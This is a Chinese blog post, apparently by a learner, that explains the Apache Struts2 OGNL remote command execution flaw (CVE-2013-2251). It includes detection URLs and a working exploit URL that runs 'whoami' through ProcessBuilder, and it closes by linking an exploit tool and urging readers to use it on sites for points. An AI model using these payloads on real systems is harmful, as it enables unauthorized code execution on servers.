Apache Struts2 远程命令执行漏洞

本人WEB渗透不行,最近在SARS大牛的指导下正在飞速成长。记录下成长的点滴。

 

在Apache Struts 2.3.15.1版本(北京时间:2013-07-15)发布的时候,公开了一个新的远程命令执行漏洞,允许攻击者在访问使用Struts2的应用时远程执行OGNL表达式,该漏洞影响2.3.15.1之前的所有Struts2版本。
影响版本:
Apache Struts2 2.3.15.1 以前版本(不含)
漏洞描述:
CVE ID:  CVE-2013-2251
Struts 2 的 DefaultActionManager 支持一种简单的导航机制,这种机制接收客户端提交(GET和POST,不包括COOKIE)的参数来进行页面的导航,参数格式为:关键字+冒号(半角)+OGNL表达式,关键字有action、redirect、redirectAction。设计此机制的目的是为了向表单中的按钮添加导航信息。
在 2.3.15.1 以前的版本中,服务器端并未对这种导航机制传递给服务端的OGNL表达式进行安全过滤。因此,攻击者就可以构造一个恶意的 OGNL 表达式,从而能够在服务器端执行任意代码。
各关键字的含义如下:
action         - 表示把表达式的执行结果作为Action来处理
redirect       - 表示把表达式的结果作为重定向的URL来强制客户端跳转(302跳转)
redirectAction - 表示把表达式的结果后追加一个.action后作为重定向的URL来强制客户端跳转(302跳转)
测试示例
1. 漏洞检测方法: 
在URL中追加如图所示代码,如果存在问题,会返回对应的HTTP状态码。示例:
http://www.example.com/home.action?action:%25{'exploit' } 返回404错误
http://www.example.com/home.action?redirect:%25{3*4 } 返回302,在响应头的Location头域中指定跳转目标URL为12
http://www.example.com/home.action?redirectAction:%25{3*4 } 返回302,在响应头的Location头域中指定跳转目标URL为12.action
2. 利用漏洞执行命令方法:
这里调用系统命令whoami来查询服务器的当前用户名,由于采用的是redirect关键字,页面将会重定向到由该关键字对应的OGNL表达式执行结果所指向的页面,在这个示例中,跳转的目标页面的URL就是当前用户名。
示例: http://www.example.com/home.action?action:%25{new%20java.lang.StringBuffer().append(new%20java.io.BufferedReader(new%20java.io.InputStreamReader(new+java.lang.ProcessBuilder({'whoami'}).start().getInputStream())).readLine ())}
最后附上利用工具,孩子们去乌云刷分玩吧 。
Apache Struts 2.3.15.1漏洞利用工具

 

你可能感兴趣的:(apache,struts)